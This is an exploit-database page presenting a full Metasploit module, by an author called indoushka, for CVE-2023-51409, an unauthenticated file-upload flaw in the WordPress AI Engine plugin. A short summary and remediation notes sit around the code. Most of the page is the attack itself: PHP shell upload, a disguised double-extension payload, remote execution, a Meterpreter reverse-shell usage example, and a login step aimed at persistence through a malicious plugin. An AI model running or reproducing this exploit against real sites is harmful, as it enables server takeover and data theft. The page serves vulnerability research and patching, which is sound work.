| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Meowapps Ai_Engine | 22 Jan 202617:21 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Meowapps Ai_Engine | 22 Feb 202416:26 | – | githubexploit | |
| CVE-2023-51409 | 12 Apr 202414:15 | – | attackerkb | |
| CVE-2023-51409 | 14 Apr 202401:04 | – | circl | |
| WordPress Plugin AI Engine 代码问题漏洞 | 12 Apr 202400:00 | – | cnnvd | |
| CVE-2023-51409 | 12 Apr 202413:15 | – | cve | |
| CVE-2023-51409 WordPress AI Engine plugin <= 1.9.98 - Unauthenticated Arbitrary File Upload vulnerability | 12 Apr 202413:15 | – | cvelist | |
| Jordy Meow AI Engine - Unrestricted File Upload | 1 Jun 202605:38 | – | nuclei | |
| CVE-2023-51409 | 12 Apr 202414:15 | – | nvd | |
| CVE-2023-51409 | 12 Apr 202414:15 | – | osv |
=============================================================================================================================================
| # Title : WordPress AI Engine Plugin 3.0.0 Unauthenticated File Upload RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
[+] References :
[+] Summary : This Metasploit module exploits an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0).
The plugin’s REST API endpoint /wp-json/mwai-ui/v1/files/upload fails to properly validate authentication, allowing attackers
to upload arbitrary files including PHP shells, leading to remote code execution under the web server user.
[+] Module Features:
Detects WordPress installations and AI Engine plugin versions.
Performs safe file upload tests to confirm vulnerability.
Supports uploading PHP payloads and executing them remotely.
Handles stealthy exploitation using double extensions (e.g., .php.jpg).
Optional WordPress credential-based privilege escalation for persistence.
Tracks and optionally cleans up uploaded test files.
Generates verbose output and handles HTTP response parsing with JSON support.
[+] Impact:
Unauthenticated RCE via file upload.
Bypasses WordPress authentication and MIME/type validation.
Enables arbitrary code execution, file system access, and potential server compromise.
[+] Remediation:
Update the AI Engine plugin to version 3.0.0 or higher.
Ensure REST endpoints are properly authenticated.
Validate and whitelist allowed file types for upload.
Store uploaded files outside of the web root if possible.
This module is intended for authorized testing and research and includes safety mechanisms for controlled exploitation.
[+] Usage :
# Metasploit Module: WordPress AI Engine Plugin RCE
## Overview
This Metasploit module exploits CVE-2023-51409, an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0).
## Vulnerability Details
- **CVE**: CVE-2023-51409
- **Plugin**: AI Engine for WordPress
- **Affected Versions**: < 3.0.0
- **Vulnerable Endpoint**: `/wp-json/mwai-ui/v1/files/upload`
- **Risk**: Critical (Unauthenticated RCE)
## Module Features
### 1. **Automated Detection**
- WordPress installation verification
- AI Engine plugin detection
- Version checking
- Vulnerability validation
### 2. **Exploitation Methods**
- Direct PHP file upload
- Stealthy double-extension bypass
- Multiple payload delivery options
### 3. **Post-Exploitation**
- Automatic file cleanup
- Session handling
- Optional privilege escalation
## Usage Examples
### Basic Exploitation
msf6 > use exploit/multi/http/wp_ai_engine_file_upload
msf6 exploit(wp_ai_engine_file_upload) > set RHOSTS 192.168.1.100
msf6 exploit(wp_ai_engine_file_upload) > set TARGETURI /wordpress
msf6 exploit(wp_ai_engine_file_upload) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(wp_ai_engine_file_upload) > set LHOST 192.168.1.10
msf6 exploit(wp_ai_engine_file_upload) > exploit
### Vulnerability Check Only
msf6 > use exploit/multi/http/wp_ai_engine_file_upload
msf6 exploit(wp_ai_engine_file_upload) > set RHOSTS 192.168.1.100
msf6 exploit(wp_ai_engine_file_upload) > check
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress AI Engine Plugin Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in the
WordPress AI Engine plugin (versions < 3.0.0). The plugin's REST API endpoint
/wp-json/mwai-ui/v1/files/upload does not properly validate authentication,
allowing attackers to upload arbitrary files including PHP shells.
This leads to remote code execution as the web server user.
CVE-2023-51409 affects AI Engine plugin versions before 3.0.0.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-51409'],
['URL', 'https://wpscan.com/vulnerability/...'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-51409']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['AI Engine Plugin < 3.0.0', {}]],
'Privileged' => false,
'DisclosureDate' => '2023-12-01',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptString.new('WP_USER', [false, 'Valid WordPress username (for privilege escalation)', '']),
OptString.new('WP_PASSWORD', [false, 'Valid WordPress password', '']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
])
register_advanced_options([
OptInt.new('SLEEP', [true, 'Sleep time between requests (seconds)', 1])
])
end
def check
vprint_status("Checking if target is WordPress...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.body.include?('wp-content') || res.body.include?('wp-includes') || res.body.include?('WordPress')
return CheckCode::Safe('Target does not appear to be WordPress')
end
vprint_good('WordPress installation detected')
plugin_paths = [
'/wp-content/plugins/ai-engine/',
'/wp-content/plugins/ai-engine-mwai/',
'/wp-content/plugins/mwai/'
]
plugin_found = false
plugin_version = nil
plugin_paths.each do |path|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path, 'readme.txt')
})
next unless res && res.code == 200
if res.body =~ /Stable tag:\s*([0-9.]+)/
plugin_version = $1
vprint_good("Found AI Engine plugin version #{plugin_version}")
plugin_found = true
break
end
end
unless plugin_found
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
'headers' => {
'Content-Type' => 'application/json'
},
'data' => '{"test":"check"}'
})
if res && (res.code == 200 || res.code == 405)
vprint_status('AI Engine REST API endpoint detected (version unknown)')
return CheckCode::Detected('AI Engine plugin detected but version unknown')
end
return CheckCode::Safe('AI Engine plugin not found')
end
if plugin_version && Rex::Version.new(plugin_version) < Rex::Version.new('3.0.0')
vprint_good("Vulnerable version detected: #{plugin_version}")
test_result = test_vulnerability
if test_result[:vulnerable]
return CheckCode::Appears("Vulnerable version #{plugin_version} - File upload confirmed")
else
return CheckCode::Detected("Version #{plugin_version} should be vulnerable but upload test failed")
end
else
return CheckCode::Safe("Plugin version #{plugin_version} is not vulnerable")
end
end
def test_vulnerability
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
filename = "test_#{Rex::Text.rand_text_alphanumeric(8)}.txt"
content = "Metasploit security test - #{Time.now.to_i}"
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n"
data << "Content-Type: text/plain\r\n\r\n"
data << content
data << "\r\n--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}",
'Content-Length' => data.length.to_s
},
'data' => data
})
unless res
return { vulnerable: false, reason: 'No response' }
end
if res.code == 200
begin
json = JSON.parse(res.body)
if json['success'] && json['data'] && json['data']['url']
uploaded_url = json['data']['url']
vprint_good("Test file uploaded successfully: #{uploaded_url}")
verify_res = send_request_cgi({
'method' => 'GET',
'uri' => URI.parse(uploaded_url).path
})
if verify_res && verify_res.code == 200
vprint_good("Uploaded file is publicly accessible")
delete_test_file(uploaded_url)
return { vulnerable: true, uploaded_url: uploaded_url }
end
end
rescue JSON::ParserError
vprint_error("Invalid JSON response")
end
end
{ vulnerable: false, reason: "HTTP #{res.code}", response: res.body[0,200] }
end
def delete_test_file(url)
begin
path = URI.parse(url).path
send_request_cgi({
'method' => 'GET',
'uri' => path + '?delete=1'
})
rescue
end
end
def exploit
print_status("Starting exploitation of CVE-2023-51409...")
payload_name = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
php_payload = "<?php #{payload.encoded} ?>"
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{payload_name}\"\r\n"
data << "Content-Type: application/x-php\r\n\r\n"
data << php_payload
data << "\r\n--#{boundary}--\r\n"
print_status("Uploading PHP payload: #{payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}",
'Content-Length' => data.length.to_s
},
'data' => data
})
unless res
fail_with(Failure::Unreachable, 'Target did not respond')
end
if res.code == 200
begin
json = JSON.parse(res.body)
if json['success'] && json['data'] && json['data']['url']
shell_url = json['data']['url']
print_good("Payload uploaded successfully: #{shell_url}")
register_file_for_cleanup(URI.parse(shell_url).path.gsub(target_uri.path, ''))
print_status("Executing payload at #{shell_url}")
res = send_request_cgi({
'method' => 'GET',
'uri' => URI.parse(shell_url).path
})
if res && res.code == 200
print_good("Payload executed successfully")
if datastore['PAYLOAD'].include?('php')
handler
end
else
print_error("Failed to execute payload (HTTP #{res ? res.code : 'No response'})")
end
else
print_error("Upload failed: #{json['message'] if json['message']}")
vprint_error("Full response: #{res.body}")
end
rescue JSON::ParserError
print_error("Invalid JSON response from server")
vprint_error("Response: #{res.body}")
end
else
print_error("Upload failed with HTTP #{res.code}")
vprint_error("Response: #{res.body}")
end
end
def on_new_session(client)
super
if client.type == 'meterpreter'
print_status("Attempting to clean up uploaded file...")
begin
result = client.sys.config.getenv('DOCUMENT_ROOT')
if result
web_root = result
shell_path = @shell_path || "/wp-content/uploads/#{Time.now.year}/#{Time.now.month.to_s.rjust(2, '0')}/"
client.fs.file.rm(web_root + shell_path) rescue nil
end
rescue
print_warning("Could not automatically clean up uploaded file")
end
end
end
def exploit_stealth
print_status("Attempting stealthy exploitation...")
payload_name = "#{Rex::Text.rand_text_alphanumeric(8)}.php.jpg"
php_payload = "GIF89a;\n<?php #{payload.encoded} ?>"
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{payload_name}\"\r\n"
data << "Content-Type: image/jpeg\r\n\r\n"
data << php_payload
data << "\r\n--#{boundary}--\r\n"
print_status("Uploading disguised payload: #{payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}",
'Content-Length' => data.length.to_s
},
'data' => data
})
handle_upload_response(res, payload_name)
end
def handle_upload_response(res, filename)
unless res
return false
end
if res.code == 200
begin
json = JSON.parse(res.body)
if json['success'] && json['data'] && json['data']['url']
uploaded_url = json['data']['url']
print_good("File uploaded: #{uploaded_url}")
if filename.end_with?('.php.jpg')
php_url = uploaded_url.gsub('.jpg', '')
print_status("Trying to access as PHP: #{php_url}")
res = send_request_cgi({
'method' => 'GET',
'uri' => URI.parse(php_url).path
})
if res && res.code == 200
print_good("PHP execution successful via double extension")
handler
return true
end
end
res = send_request_cgi({
'method' => 'GET',
'uri' => URI.parse(uploaded_url).path
})
if res && res.code == 200
print_good("Payload executed")
handler
return true
end
end
rescue JSON::ParserError
print_error("Invalid JSON response")
end
end
false
end
def attempt_privilege_escalation
return unless datastore['WP_USER'] && datastore['WP_PASSWORD']
print_status("Attempting WordPress privilege escalation...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'vars_post' => {
'log' => datastore['WP_USER'],
'pwd' => datastore['WP_PASSWORD'],
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin'),
'testcookie' => '1'
}
})
if res && res.code == 302 && res.headers['Location'].include?('wp-admin')
print_good("Successfully logged in as #{datastore['WP_USER']}")
cookies = res.get_cookies
print_status("Attempting to upload a malicious plugin for persistence...")
else
print_error("WordPress login failed")
end
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation